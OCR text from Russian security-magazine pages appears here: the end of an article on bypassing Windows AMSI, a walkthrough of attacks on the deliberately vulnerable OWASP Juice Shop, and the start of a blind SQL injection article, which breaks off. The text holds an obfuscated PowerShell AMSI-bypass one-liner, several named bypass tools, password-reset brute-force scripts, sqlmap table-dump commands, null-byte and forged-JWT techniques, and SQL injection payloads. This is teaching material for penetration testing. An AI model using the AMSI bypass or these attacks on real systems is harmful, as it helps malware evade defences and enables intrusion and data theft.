$kurefii=\"$([cHar]([BYTe]0x53)+[ChAR](121)+[CHAr]([Byte]0x73)+[ cHaR]([byte]0x74)+[Char]([bytE]0x65)+[chAR]([bYtE]0x6d)).$(('Mànägem' +'ent').NORMALiZE([cHar](70+50-50)+[ChAr](111*34/34)+[cHAr](114*7/7) +[CHar](109*71/71)+[chaR]([BYtE]0x44)) -replace [cHaR]([BYte]0x5c)+[ cHar]([Byte]0x70)+[chaR]([byTE]0x7b)+[chaR](77+22-22)+[cHAr]([BytE] 0x6e)+[cHaR]([BYte]0x7d)).$([chAr](65+59-59)+[ChaR](104+13)+[CHAr]([ bytE]0x74)+[chAR]([byte]0x6f)+[chAr](58+51)+[ChaR]([bYTe]0x61)+[ CHar]([bYTe]0x74)+[cHAR](105)+[CHaR]([BYTE]0x6f)+[cHar]([ByTE]0x6e)). $([CHAR]([ByTE]0x41)+[char]([byTe]0x6d)+[CHAr]([bYtE]0x73)+[CHar]([ byTe]0x69)+[chaR](85*6/6)+[CHaR](116)+[ChAR]([Byte]0x69)+[cHAr](108) +[chAr]([BYte]0x73))\";[Delegate]::CreateDelegate((\"Func``3[String, $( ([String].Assembly.GetType($(('$([cHar]([BYTe]0x53)+[ChAR](121)+[ CHAr]([Byte]0x73)+[cHaR]([byte]0x74)+[Char]([bytE]0x65)+[chAR]([bYtE] 0x6d)).Reflec'+'tíón.BìndìngF'+'lâgs').NorMALiZe([ChAR]([Byte]0x46)+[ cHar](111)+[ChAR](114)+[CHar]([BYtE]0x6d)+[ChaR]([ByTE]0x44)) -replace [cHaR](92*10/10)+[CHAr](112+100-100)+[ChAR]([BYTE]0x7b)+[ ChAR](77)+[cHaR](110*20/20)+[cHAr]([bYTe]0x7d)))).FullName), $([cHar ]([BYTe]0x53)+[ChAR](121)+[CHAr]([Byte]0x73)+[cHaR]([byte]0x74)+[ Char]([bytE]0x65)+[chAR]([bYtE]0x6d)).Reflection.FieldInfo]\" -as [ String].Assembly.GetType($([CHAR](83)+[char](121*78/78)+[ChAr]([ByTe] 0x73)+[CHar](22+94)+[CHar](101*28/28)+[char]([BYtE]0x6d)+[CHAr](46)+[ ChAr](84)+[cHAr]([ByTE]0x79)+[ChAr](90+22)+[Char](101+30-30)))), [ Object]([Ref].Assembly.GetType($kurefii)),($(('Ge'+'tF'+'íe'+'ld'). NOrMaliZE([char]([ByTE]0x46)+[cHAR](10+101)+[CHaR](114)+[cHAr](109*93 /93)+[CHAr]([BYTe]0x44)) -replace [cHaR](92*52/52)+[CHar]([ByTE]0x70) +[CHAr]([byTe]0x7b)+[Char](38+39)+[cHaR](79+31)+[cHar](125*18/18)))). Invoke($([char](97*42/42)+[cHar](109*37/37)+[cHar]([bYte]0x73)+[Char] (105+88-88)+[CHaR]([BYtE]0x49)+[ChAR](110)+[cHAR]([Byte]0x69)+[CHaR]( 116*14/14)+[cHar]([bYtE]0x46)+[Char](97)+[cHar]([bYTe]0x69)+[CHAR]([ ByTE]0x6c)+[CHaR](101*33/33)+[char]([BYTE]0x64)),((\"NonPublic,Static\" ) -as [String].Assembly.GetType($(('$([cHar]([BYTe]0x53)+[ChAR](121) +[CHAr]([Byte]0x73)+[cHaR]([byte]0x74)+[Char]([bytE]0x65)+[chAR]([ bYtE]0x6d)).Reflec'+'tíón.BìndìngF'+'lâgs').NorMALiZe([ChAR]([Byte]0 x46)+[cHar](111)+[ChAR](114)+[CHar]([BYtE]0x6d)+[ChaR]([ByTE]0x44)) -replace [cHaR](92*10/10)+[CHAr](112+100-100)+[ChAR]([BYTE]0x7b)+[ ChAR](77)+[cHaR](110*20/20)+[cHAr]([bYTe]0x7d))))).SetValue($null, $True); В нелегк­ ом деле запутыв­ ания кода тебе наверн­ яка будет полезен ресурс amsi.fail. Хукинг Function hooking  — метод, поз­воляю­ щий нам получить управле­ние над  фун‐­ кцие­ й до ее вызова. В дан­ном слу­чае полез­но будет перезап­ исать аргу­мент­ ы, которые функ­ ция AmsiScanBuffer() (или AmsiScanString()) будет переда‐­ вать на пров­ ерк­ у. Тут все прост­ о: инжектим DLL, которая пойм­ ает AmsiScanBuffer() и  передаст на  пров­ ерк­ у что‑нибудь безобид­ное. Использ­ овать мож­но, нап‐­ ример, AmsiHook.dll, инжектор можн­ о взять там же. Рез­ уль­тат инжекта AmsiHook.dll Патчинг памяти Ис­польз­ ующих данн­ ый метод инст­ ру­мен­тов мног­ о, можн­ о выб­рать любой рабочий. Прин­цип оди­наков: проп­ атч­ ить AmsiScanBuffer(), что­бы всегд­ а возв­ ра­щалось зна­чение «Пров­ ерк­ а пройд­ ена успешно». Вот нес­коль­ко таких средств: • AmsiScanBufferBypass; • my-am-bypass.ps1; • AMSI-Bypass.ps1; • AMSI-Bypass.cs; • NoAmci. Для при­мера попр­ обу­ем выполн­ ить Memory Patching с  помощью my-am- bypass.ps1. Ис­поль­зуем my-am-bypass.ps1 Вызов ошибки Вспо­миная опи­сание принц­ ипа работы AMSI, можн­ о заметить, что во  всех функ­ ция­ х прис­ утст­ ву­ет структ­ ура amsiContext. Идея спо­соба  — вызв­ ать ошиб­ку в этой структ­ уре и слом­ ать весь цикл пров­ ерк­ и. Сложн­ ости добавл­ яет тот факт, что Microsoft никак не  документ­ иру­ет эту струк­туру, да  и в  целом мало и неохот­но пишет документ­ ацию для AMSI. Расс­ мотр­ им этот спо­соб, исполь­зуя Frida (что­бы найт­ и адрес) и дебагг­ ер (что­бы посм­ отреть, что там про­исхо­дит). Исс­ лед­ уем amsiContext Вве­дем что‑нибудь и пос­мотрим на вывод «Фрид­ ы». Вы­вод «Фрид­ ы» Те­перь открое­ м проц­ есс PowerShell в  дебагг­ ере и  пос­мотрим, что же находит­ся по этом­ у адре­су. Разм­ ера этой струк­туры мы не зна­ем, но пер­вые четыре байт­ а — это AMSI. Прос­матри­ваем про­цесс PowerShell в отладчик­ е Ис­сле­дуя про­исход­ ящее дальш­ е, замеча­ем, что регистр rcx (в котором дол‐­ жен лежать перв­ ый аргу­мент функ­ ции) срав­нивае­ тся с нашими четырьм­ я бай‐­ тами и, если эти знач­ ения не  рав­ны, выпол­няетс­ я переход на  amsi! AmsiOpenSession+0x4c. Мы видим, что фун­кция верн­ ет нам то, что лежит в регис­тре eax. А в докумен‐­ тации ука­зано, что возв­ ращ­ ает­ся зна­чение с типом HRESULT. HRESULT AmsiOpenSession( HAMSICONTEXT amsiContext, HAMSISESSION *amsiSession ); На сайт­ е Microsoft мы находим нуж­ную информац­ ию: | E_INVALIDARG | One or more arguments are not valid | 0x80070057 | Есл­ и перв­ ые четыре байт­ а струк­туры кон­тек­ста не  совп­ адут с  AMSI, AmsiOpenSession вер­нет ошибк­ у. Глав­ный воп­рос  — к  чему прив­ едет эта ошиб­ка и что слу­чит­ся, если байт­ ы все‑таки не совп­ адут. Единст­ венн­ ый спо­соб про­верить это — выз­вать ошибк­ у и посм­ отреть, что будет. Для  это­го пос­тавим точ­ку оста­нова (breakpoint) на  AmsiOpenSession, а затем поменяе­ м четыре бай­та на знач­ ение 0000. Убед­ имс­ я, что в регис­тре rcx находит­ся знач­ ение 49534d41 (dc rcx L1), изме­ним его на 0 (ed rcx 0), пров­ ерим, что выпол­нение прош­ло успешно и  в регис­тре rcx сейч­ ас 00000000 (еще раз dc rcx L1). Пат­чим AmsiOpenSession Теп­ ерь, если заг­лянуть в  frida-trace, мы уви­дим заветн­ ое AmsiScanBuffer() Exit. При­вела ли эта ошибк­ а к нарушен­ ию цик­ла пров­ ер­ки AMSI? Пров­ ерим эту теорию, выполн­ ив что‑то «зловр­ едное». Ус­пех! Данн­ ый метод с  исполь­зовани­ем дебаг­гера был расс­ мот­рен в  качест­ ве теории, в  живом кей­се, разумее­ тся, дебагг­ ером никт­ о не  польз­ уетс­ я, а реали­зует­ся дан­ный метод в неск­ оль­ко стро­чек в том же PowerShell. ВЫВОДЫ Как видн­ о из  при­меров, обойт­ и защиту от  AMSI не  так уж и  слож­но. Знан­ ие извес­тных методик может облегчить фазу пост­ эксп­ луа­ тац­ ии (или даже фазу эксп­ лу­ата­ции). AMSI может сыгр­ ать важ­ную роль в защите сис­тем Windows 10 и Windows Server от  комп­ ро­мета­ции. Но  AMSI не  панацея. И  хотя Microsoft Windows Defender обес­печивае­ т некото­рую защиту от  обхо­да AMSI, зло­умыш­ленни­ки пост­ оянн­ о находят спо­собы скрыть вред­ оносн­ ый кон­тент от обнар­ уже­ния.

ВЗЛОМ Евгений Грязнов Специалист по ИБ. OSCP, LIKE A MCSE, MCDBA PRO [email protected] ИСПОЛЬЗУЕМ OSINT И ЦЕПОЧКИ АТАК В OWASP JUICE SHOP Се­годн­ я мы будем искать ключ к  паролям на  фото, вытас‐­ кивать скрыт­ ые метаданн­ ые, внедр­ ять SQL-инъ­екции и  изу‐­ чать мног­ охо­довые ата­ки. Про­долж­ им раз­бирать­ся с задач‐­ ками OWASP и полн­ остью взлом­ аем интернет‑магазин Juice Shop, спец­ иальн­ о соз­данный для тес­тирова­ния уязв­ имост­ ей и оттач­ иван­ ия хакер­ско­го маст­ ерс­тва. В моей прош­лой статье на  ту же тему я поз­накомил тебя с  очень уяз­вимым интернет‑магази­ном Juice Shop. Мы получи­ли в  нем пра­ва админ­ а разн­ ыми спос­ оба­ми и  добыли себе бесп­ латн­ ый Deluxe. Пришл­ о врем­ я как  след­ ует пог­рузить­ся внутрь этог­ о дыряво­го прил­ оже­ния и  показать, кто здесь на самом деле эксперт! В этой статье я исполь­зую вер­сию Juice Shop 12.8.1. Если твоя вер­сия отли­чает­ся, самое вре­мя пой­ти и обн­ овить ее. УВЛЕКАТЕЛЬНЫЙ OSINT Не­боль­шая разм­ инка перед  серь­езны­ми задачам­ и, которая поможет про‐­ качать англий­ский и  получить при  этом удов­ оль­ствие. Наде­юсь, ты уже зна‐­ ешь, что такое OSINT. INFO Под­робнее об  OSINT ты можешь проч­ есть в  стать­ях «Бо­евой OSINT. Раз­бирае­ м совр­ емен‐­ ные методы сетевой разв­ едки» и  «OSINT по‑рус‐­ ски. Выбирае­ м мощн­ ые и  бесп­ лат­ные сер­висы для про­бива и кон­курен­тной разв­ едки». Отдельн­ о очень рекомен­дую тебе док­лад с  пос­ледне­го PHDays 2021 «Ду­мать  — это  при­кольн­ о. 20  прак‐­ тическ­ их прие­ мов OSINT в цифр­ овом мире». На доск­ е с твои­ ми успех­ ами в Juice Shop есть спе­циальн­ ый тег OSINT. Задачи с этим тегом и будут нас инте­ресо­вать в этом разд­ еле. 1. Visual Geo Stalking. 2. Meta Geo Stalking. 3. Login MC SafeSearch. За­дачек на  OSINT там горазд­ о больш­ е, но  эти позв­ олят тебе отточ­ ить базовые навыки и с их исполь­зовани­ем уже решить оставши­еся! Visual Geo Stalking В этой задаче нам тре­буетс­ я угад­ ать пароль Эммы. Для это­го прид­ етс­ я вос‐­ поль­зовать­ся механиз­мом вос­стан­ ов­ления пароля, для  чего нуж­на поч­та, а почт­ у Эммы мож­но найт­ и в разд­ еле «Адми­нис­три­рова­ние». Кстат­ и, в прош‐­ лой статье я показал тебе три спос­ оба про­ник­нуть туда. Сек­ретный вопр­ ос зву­чит так: » « Company you first work for as an adult Как видишь, для  решения этой задачи нам нужн­ о найт­ и наз­вание ком­пании, где раньш­ е работа­ла Эмма. Задача кажетс­ я слиш­ком слож­ной, но  вспом­ни: на  сай­те же есть раз­дел Photo Wall c фотог­рафия­ ми сотр­ удни­ков! На  пос‐­ ледней фотогр­ афии ты най­дешь белый дом и  уди­вительн­ о похожий на  имя Эмма ник­нейм. Самое врем­ я ска­чать эту фотог­рафию и при­менить к ней свои ана­лити­чес­кие навыки. Что мож­но попр­ обовать сде­лать с этой фотог­рафие­ й: 1. Пои­ скать ее в  сер­висах врод­ е Google Images. Может ока­затьс­ я, что это извест­ ное здан­ ие и есть спи­сок расп­ оложен­ных в нем комп­ аний. 2. Пров­ ерить метаданн­ ые изобр­ ажения. Част­ о внут­ри фотог­рафии мож­но обна­ружить GPS-коор­динаты мест­ а и  най­ти спис­ ок комп­ аний, которые арен­дуют в нем офи­сы. 3. Вни­мательн­ о расс­ мотр­ еть фотог­рафию и поиск­ ать на ней подс­ каз­ки вро‐­ де табл­ ички с номером дома. В слу­чае Эммы перв­ ые два вариа­ нта не дадут никако­го резуль­тата, но я очень рекомен­дую пров­ ерить это  самост­ оятель­но! Раз­работ­чики иногд­ а меняю­ т задания и добавл­ яют новые пасх­ алки. Я же предл­ агаю открыть изоб­ражение в  хорошем редакт­ оре с  воз‐­ можностью боль­шого уве­личе­ния и  вним­ ательн­ о изуч­ ить его. На  одном из окон ты най­дешь плак­ ат. Пла­кат ком­пании Как видишь, ком­пания явно связ­ ана с безопас­ностью в IT, но ее точ­ного наз‐­ вания мы не  знае­ м, поэто­му при­детс­ я перебр­ ать раз­ные вари­анты. Пред‐­ лагаю взять скрипт подб­ ора ответ­ а из пре­дыдущ­ ей статьи, тем более что он нам еще приг­ одит­ся. import requests answers = ['IT Security','IT Sec','ITsec','ITSEC', 'itsec'] for answer in answers: data = {'email':'[email protected]','answer':answer,'new':'111111' ,'repeat':'111111'} r = requests.post('http://localhost:3000/rest/user/ reset-password',json=data) if r.status_code == 200: print(\"Password changed! Answer: \", answer) break print(\"That's all... \") Зап­ ус­каем и узнае­ м решение задачи с Эммой! Meta Geo Stalking Над­ еюсь, тебе пон­равилось искать скры­тую информац­ ию. Эта задача будет нес­коль­ко слож­нее пред­ ыдущ­ ей. Тебе нужн­ о угад­ ать ответ на сек­ретный воп‐­ рос Джо­на: » « What’s your favorite place to go hiking? То есть «Назови твое любимое мес­то для  пеших походов». В  разд­ еле Photo Wall тебя ждет очень информа­тивн­ ое фото с  освеж­ ающим ста­каном сока. Ска­чай его и поп­робуй прой­тись по списк­ у из задачи с Эммой. Су­щест­ вуе­ т нес­коль­ко вариа­ нтов посм­ отреть метадан­ные изоб­ражения, я рекомен­дую Jeffrey’s Image Metadata Viewer. Заг­рузи туда изобр­ ажение и вни‐­ матель­но изу­чи его данн­ ые. Ме­тадан­ные Как видишь, тут есть коор­динаты мест­ а! Открой их в  любимом сер­висе, я обыч­но исполь­зую для этог­ о Google Maps. Карт­ а регио­ на Теп­ ерь нуж­но попр­ обовать подобр­ ать прав­ ильн­ ое назв­ ание мес­та. Вни‐­ мательн­ о изуч­ и кар­ту, и  можешь исполь­зовать скрипт для  сброс­ а пароля из пре­дыду­щей задачи. import requests answers = ['Scuttlehole Trailhead','Rockcastle Campground','Dutch Branch','Laurel County'] for answer in answers: data = {'email':'[email protected]','answer':answer,'new':'111111' ,'repeat':'111111'} r = requests.post('http://localhost:3000/rest/user/ reset-password',json=data) if r.status_code == 200: print(\"Password changed! Answer: \", answer) break print(\"That's all... \") К сожален­ ию, все эти вари­анты не  дали резуль­тата. We need to  go deeper! Попр­ обуе­ м поиск­ ать более под­робную информа­цию о Scuttlehole Trailhead. Сайт наци­ональн­ ого пар­ка На этой стран­ ице уже дост­ аточ­но геог­рафическ­ их наз­ваний, которые Джон мог исполь­зовать в  качест­ ве фра­зы для  сбро­са пароля. Я оставлю это  решение тебе в  качест­ ве домашн­ его задания. Если заст­ ря­нешь, спра‐­ шивай в комм­ ента­риях, и я дам под­сказк­ у! Login MC SafeSearch Я наде­юсь, ты уже дост­ аточ­но разм­ ялся для этог­ о задания. Здесь у тебя уже нет никаких под­ска­зок. Наверн­ яка ты задал­ся воп­росом, а кто вооб­ще такой этот MC SafeSearch? Пришл­ о врем­ я про­бить его в интерне­те! К сожален­ ию, боль­шая часть ссыл­ ок будет решени­ем этой задачи, но это же не  наш метод! Поэто­му я дам тебе пря­мую ссылк­ у на  вот такое отличное видео: Protect Ya Passwordz. Тут приг­ одит­ся зна­ние англий­ског­ о. В  этом задании не нуж­но исполь­зовать механизм восс­ та­новл­ ения пароля, пос­кольк­ у MC сам рас­сказ­ ал тебе свой пароль в  песн­ е, нужн­ о прост­ о вним­ атель­но прос­лушать ее неск­ оль­ко раз и обрат­ ить вним­ ание на его логин и — внез­ ап‐­ но  — клич­ку любимой собаки. Чтоб­ ы тебе было прощ­ е, есть пол­ный текст пес­ни. Я дам тебе пару подс­ ка­зок: логин будет [email protected], а собаку зовут Mr. Noodles. Одна­ко он опытн­ ый поль­зователь, поэто­му сде‐­ лал некотор­ ую замену в име­ни собаки, о чем тоже радост­ но проп­ ел в пес­не. Тут под­сказ­ки заканч­ ива­ются, дальш­ е сам! :) →Продолжение статьи

ВЗЛОМ ← НАЧАЛО СТАТЬИ LIKE A PRO ИСПОЛЬЗУЕМ OSINT И ЦЕПОЧКИ АТАК В OWASP JUICE SHOP ЦЕПОЧКИ АТАК В Juice Shop мног­ ие задания тре­буют решения некотор­ ых пре­дыдущ­ их. Поэто­му сей­час мы с тобой поп­робу­ем решить задачк­ у с пасх­ алкой, а заодн­ о научим­ся обход­ ить защиту фай­лов от  ска­чива­ния и  подб­ ерем себе мно­го инте­рес­ной информац­ ии для даль­нейших атак и заданий. WARNING Да­же не  думай исполь­зовать подоб­ные техн­ ики в  реаль­ных интернет‑магазин­ ах! Это  уго­ловн­ о наказуе­ мо, если, конеч­но, у  тебя нет под­писан‐­ ного догово­ра на  про­веде­ние пент­ еста. Если очень хочетс­ я поп­ракти­коватьс­ я и  поиск­ ать реальн­ ые ошибк­ и в  прил­ оже­ниях, регис­три­руйс­ я на  спе­циаль­ных плат­формах  — нап­ример, на HackerOne или BugCrowd. Скачиваем недоступные файлы Я всегд­ а рекоменд­ ую не  забывать поиск­ ать скрыт­ ые директ­ ории на  сай­тах. Сдел­ ать это мож­но при помощи утил­ иты dirb. dirb http://localhost:3000 Найд­ енн­ ые директ­ ории Зам­ етил очень инте­рес­ную дирек­торию ftp? Если ты вним­ ательн­ о пос‐­ мотришь внутрь robots.txt, то убед­ ишь­ся, что мы прос­то обя­заны ее посетить. Ин­терес­ные файл­ ы на FTP Как видишь, тут очень мно­го инте­рес­ного! Однак­ о сто­ит начать скач­ ивать фай­лы, как  ты узна­ешь, что раз­решено это  делать, тольк­ о если они имею­ т рас­ширение .md или  .pdf. Тем не  менее эти файл­ ы очень нуж­ны нам для выпол­нения след­ ующих заданий. Поэтом­ у при­детс­ я пойт­ и в Google и най‐­ ти там мно­жест­ во ста­тей о тех­никах обход­ а филь­тров по рас­ширению файл­ а. Мне, нап­ример, приг­лянулс­ я спи­сок на сайт­ е HackTricks. Од­на из техн­ ик называе­ тся null byte и зак­люча­ется в добавл­ ении к име­ни скач­ ивае­ мог­ о файл­ а спец­ иальн­ ого «нулево­го байт­ а» — %00. Нап­ример, мож‐­ но запр­ осить файл вот так: http://localhost:3000/ftp/eastere.gg%00.md Не забывай тольк­ о, что такой URL содерж­ ит зап­рещенн­ ые сим­волы и долж­ ен быть спе­циаль­ным спос­ обом закодир­ ован перед использ­ овани­ем. Для этог­ о сущес­тву­ет огромное количест­ во сер­висов, можешь использ­ овать, нап‐­ ример, CyberChef (мы о нем как‑то писали). Скач­ ай теперь все файл­ ы в  пап­ке FTP, и  давай отправ­ им­ся искать пас‐­ халку! Пасхалка от разработчиков Од­но из заданий на четыре звезд­ очки называе­ тся Find the hidden easter egg. Для его решения нам понадо­битс­ я содер­жимое файл­ а eastere.gg. Внут­ри фай­ла ты най­дешь шут­ливое поз­драв­ление от  раз­работ­чиков и интер­ ес­ную строчк­ у: ci9xcmlmL25lci9mYi9zaGFhbC9ndXJsL3V2cS9uYS9ybmZncmUvcnR0L2p2Z3V2YS9nd XIvcm5mZ3JlL3J0dA== В ней легк­ о уга­дыва­ется кодиров­ка Base64, поэто­му восп­ оль­зуйся любым под­ходящим инс­тру­мент­ ом (нап­ример, тем же CyberChef) и  прев­рати это  в осмысленн­ ый текст. Вот как выг­лядит результ­ ат: /gur/qrif/ner/fb/shaal/gurl/uvq/na/rnfgre/rtt/jvguva/gur/rnfgre/rtt Как видишь, он не  отли­чаетс­ я осмысленн­ остью. Можн­ о попр­ обовать добавить его к  http://localhost:3000, но  в ответ нас ждет пуст­ ота. Эта строчк­ а явно тре­бует дальн­ ейшег­ о декодир­ ова­ния. Для работы с неизв­ ес­тным­ и шиф­рами я обыч­но исполь­зую Cipher Identifier на dcode.fr. Передай в него нашу строк­ у и най­ди шифр. Это оказ­ ал­ся очень извест­ ный ROT 13! Можешь декодир­ овать его на том же сайт­ е и  нас­ладить­ся пас­халкой. Кста­ти, решая это  задание, мы заод­но прошл­ и два дру­гих! Скачиваем всю базу данных Как ты помн­ ишь, в прошл­ ой статье мы уже исполь­зовали SQL-инъ­екцию, что‐­ бы получить прав­ а админ­ ис­трат­ ора. Нас­тало вре­мя поиск­ ать что‑нибудь инте­ресн­ ое в базе дан­ных этог­ о прил­ оже­ния. Нап­ример, решить задание Exfiltrate the entire DB schema definition via SQL Injection. Для  это­го нам нуж­но перейт­ и в  любой разд­ ел, где воз­можна инъ‐­ екция. В  Juice Shop это  раз­дел поиск­ а товаров. Здесь я для  удобс­тва вос‐­ поль­зуюсь sqlmap, но  ты можешь попр­ обовать найт­ и и  исполь­зовать инъ‐­ екцию вруч­ную, пос­коль­ку на доск­ е с задания­ ми есть при­мер уязв­ имого кода. Од­нако напр­ ямую задача не решае­ тся. Если ты попр­ обуе­ шь выполн­ ить вот такую коман­ду, то успех­ а не добье­ шься: sqlmap -url=\"http://localhost:3000/search?q=1 Де­ло в том, что все опас­ные сим­волы фильт­ рую­ тся на уров­не фрон­тенда, что част­ о быва­ет в подобн­ ых прил­ ожен­ иях. Знач­ ит, нужн­ о запуст­ ить Burp и най­ти, какой адрес в дейс­ твит­ ельн­ ос­ти вызывае­ тся для поиск­ а товаров. Если ты вни‐­ мательн­ о посм­ отришь на запр­ осы, то обна­ружишь интер­ есн­ ый запр­ ос к REST API: /rest/products/search?q=apple Дав­ ай вос­польз­ уемс­ я этим­ и новыми дан­ными и поп­робуе­ м еще раз. sqlmap -url=\"http://localhost:3000/rest/products/search?q=apple Этот вариа­ нт работае­ т! Теперь добавь нужн­ ые парамет­ры, и вся база дан­ных в твои­ х руках. sqlmap -url=\"http://localhost:3000/rest/products/search?q=apple\" -T Users --dump --threads=10 Вот эта коман­да позв­ олит получить тебе всю базу дан­ных поль­зовате­лей и хеши их паролей. Дамп таб­лицы Users Подделываем токены JWT В пред­ ыду­щей статье мы уже стал­кивались с JWT — смот­ри раз­дел «Откры‐­ ваем админку»). На доск­ е задач есть два задания, связ­ ан­ных с под­делкой JWT: • Forge an  essentially unsigned JWT token that impersonates the  (non-existing) user [email protected] • Forge an  almost properly RSA-signed JWT token that impersonates the  (non- existing) user [email protected] Пос­кольк­ у у нас нет нуж­ных ключ­ ей для прав­ иль­ной под­писи токена, поп­робу‐­ ем под­делать непод­писан­ный токен. Для начала нам нужн­ о получить любой дейс­ тву­ющий токен польз­ овател­ я. Вой­ди в  магазин от  име­ни любого польз­ овате­ля, перех­вати пакеты обме­на и дос­тань оттуд­ а заголов­ ок авто­ризац­ ии Bearer. То­кен в заголовк­ е Для просм­ отра и кодиро­вания JWT я использ­ ую сайт jwt.io, однак­ о он не поз‐­ волит сдел­ ать нам токен без  под­писи. Для  начала скоп­ ируй весь код токена в  файл. Токен, как  ты уже проч­ итал, сост­ оит из  трех част­ ей Base64, которые нужн­ о декоди­ровать, изме­нить и  закодир­ овать обратно. Прод­ елае­ м это  с перв­ ой и втор­ ой частью, поск­ оль­ку третья часть — это ненуж­ная нам под­пись. Дек­ оди­рован­ный токен Те­перь измен­ им в  заголов­ке алгор­ итм на  none и  в теле токена поч­ту на  [email protected]. Прод­ елай это  и закодир­ уй все обратно в  Base64, соеди­ни их точ­кой и  обяз­ ательн­ о добавь еще  одну точ­ку в  самом конц­ е! При кодиров­ ании не забудь включ­ ить опцию URL-safe, пос­кольк­ у JWT исполь‐­ зует имен­но этот станд­ арт кодиро­вания. В ито­ге у меня получил­ся вот такой токен. Из­менен­ный токен Теп­ ерь подд­ елай в Burp любой запр­ ос с этим токеном, и можешь радоватьс­ я решенн­ ой задаче. Помн­ и, токен имее­ т огран­ иченн­ ый срок жизн­ и, так что не затяги­вай! Погружаемся в дебри кода Сре­ди скач­ анн­ ых тобой фай­лов есть край­не интер­ есн­ ый файл package. json.bak. Если ты не  знае­ шь, что это  такое и  зачем нужн­ о, то са­мое врем­ я узнать. Если вкратц­ е, этот файл показы­вает, какие пакеты и  ком­понен­ты исполь­зовались для соз­дания Juice Shop. Очень час­то сре­ди этих комп­ онен‐­ тов мож­но найт­ и уяз­вимые и  про­эксп­ луа­ ти­ровать это. Давай подр­ обно изу‐­ чим содерж­ имое этог­ о файл­ а. На дос­ке заданий есть еще  одно интер­ ес­ное задание в  раз­деле крип‐­ тограф­ ии: Inform the shop about an algorithm or library it should definitely not use the  way it does. А  в фай­ле package.json есть три биб­лиотек­ и, под­ходящие под нужн­ ое опис­ ание: hashids, jsonwebtoken и z85. Ин­терес­ные пакеты Ес­ли посм­ отреть вни­матель­но опис­ ание этих пакетов в интернет­ е, то можн­ о опре­делить, что пакет Z85 отвеч­ ает за  кодиров­ ание, а  не шифр­ ование. Поэто­му мож­но попр­ обовать сдать его в  качес­тве решения задачи. Кстат­ и, если ты вним­ атель­но смот­рел на  хеши поль­зовате­лей из  пред­ ыдущ­ его задания, то они очень похожи на  MD5, а  этот алгор­ итм тоже дав­но небезо‐­ пасен. Можешь поп­робовать информи­ровать магазин и об этой уяз­вимост­ и. Знан­ ие о  том, что магазин использ­ ует Z85, поз­волит нам подобр­ ать­ся к сле­дующей очень сложн­ ой задаче. Подделка кода купона На дос­ке задач есть задача на  шесть звезд­ очек, предл­ агаю­ щая нам под‐­ делать купон и соз­дать купон со скидк­ ой не менее 80%: Forge a coupon code that gives you a discount of at least 80%. Как ты пом­нишь, сре­ди найд­ енн­ ых нами файл­ ов в  пап­ке ftp был очень интер­ ес­ный файл с резерв­ ной копие­ й разн­ ых купонов. К сожален­ ию, они без‐­ надежн­ о устар­ ели... Одна­ко если отпра­вить их в  ана­лиза­тор шиф­ров, о  котором я писал выше, то он покажет, что все эти коды очень похожи на коды ROT, то есть не явля­ются нас­тоящим шифр­ ование­ м, а прос­то исполь‐­ зуют сме­щение букв на опред­ елен­ную величи­ну. К сожале­нию, точ­ный вари‐­ ант такого прео­ браз­ ова­ния он уста­новить не смож­ ет. Тут надо вспомн­ ить, что прое­ кт реали­зован на  Node.js, а  разр­ аботч­ ики обыч­но ленивы и  использ­ уют одну и  ту же биб­лиоте­ку для  раз­ных вещей. Еще  помн­ ишь о  Z85? У  нее есть конс­ ольн­ ая верс­ ия Z85-cli  — самое вре­мя уста­новить ее и  попр­ обовать в  деле. Перейд­ и в  папк­ у Juice Shop и  выполн­ и сле­дующую команд­ у: npm install -g z85-cli Теп­ ерь мож­но поп­робовать декоди­ровать купон: z85 --decode \"q:<IqgC7sn\" Рез­ уль­тат  — SEP13-10! То есть это  купон на  сен­тябрь  2013  года на  10%. Отлично, теперь ты зна­ешь, как  сдел­ ать акту­альн­ ый купон и  при­менить его. Для при­мера вот мой купон на 99%. Огр­ омная скидк­ а ВЫВОДЫ Над­ еюсь, эта статья поз­волила тебе еще  под одним углом взгля­нуть на  безопас­ность веб‑прил­ оже­ний и  освои­ ть новые техн­ ики. В  Juice Shop оста­лось мног­ о инте­рес­ных задач, так что ты всег­да можешь на них поп­ракти‐­ коватьс­ я. Заодн­ о узнае­ шь, как не допус­кать таких уяз­вимост­ ей при раз­работ‐­ ке сво­их при­ложен­ ий!

ВЗЛОМ САМЫЙ БЫСТРЫЙ УКОЛ ОПТИМИЗИРУЕМ BLIND SQL-ИНЪЕКЦИЮ Павел Сорокин Руководитель группы тестирования на проникновение в BI.ZONE [email protected] В сво­ей практ­ ике работы в BI.ZONE я регуляр­но стал­киваю­ сь с  необх­ одимостью экс­плу­ата­ции сле­пых SQL-инъе­ кций. Пожалуй, Blind-слу­чаи встреч­ ались мне даже чаще, чем Union или  Error-based. Поэтом­ у я решил подумать об  эффектив­ности. Эта статья  — обзор под­ходов к  эксп­ лу‐­ ата­ции сле­пых SQL-инъ­екций и  тех­ник, поз­воляю­ щих уско‐­ рить экс­плуа­ та­цию. ЧТО ТАКОЕ «СЛЕПЫЕ» SQL-ИНЪЕКЦИИ Здесь мы раз­берем случ­ аи, при  которых возн­ икаю­ т Blind SQL-инъ­екции, а такж­ е опис­ ана базовая техн­ ика их эксп­ лу­атац­ ии. Если ты уже c ними зна­ком и  понимае­ шь, что такое бинарн­ ый поиск,  — сме­ло переход­ и к  сле­дующе­му разд­ елу. Blind SQL-инъ­екции воз­ника­ют, когд­ а мы не можем нап­рямую дос­тать дан­ные из при­ложен­ ия, но можем разл­ ичить два раз­ных сос­тояния веб‑при‐­ ложен­ ия в зависи­мост­ и от услов­ ия, которое мы опред­ еля­ем в SQL-зап­росе. Как работает Blind SQL-инъекция Пред­став­ им след­ ующую инъ­екцию (для прост­ оты исполь­зуем язык PHP, а  в качест­ ве СУБД возь­мем MySQL): $query = \"SELECT id,name FROM products ORDER BY \".$_GET['order']; Здесь мы можем указ­ ать в  параметр­ е order не  тольк­ о имя колон­ки, но  и некото­рое усло­вие, напр­ имер: order=(if( (select 1=1),id,name)) order=(if( (select 1=0),id,name)) В зависи­мос­ти от  истиннос­ти логичес­кого выражен­ ия (1=1) или  (1=0) резуль­тат будет отсортир­ ован СУБД либо по  колонк­ е id, либо по  колонк­ е name. В ответ­ е веб‑при­ложе­ния мы уви­дим, по какой колонк­ е отсортир­ ова­ны products, и  смож­ ем отли­чить истинное услов­ ие от  лож­ного. Это  поз­воля­ет нам «задавать вопр­ осы» СУБД, на  которые мы будем получать ответ­ ы «да» или «нет». Нап­ример, «спро­сим» у  СУБД  — в  табл­ ице information_schema.tables боль­ше 50 строк или нет? order=(if( (select 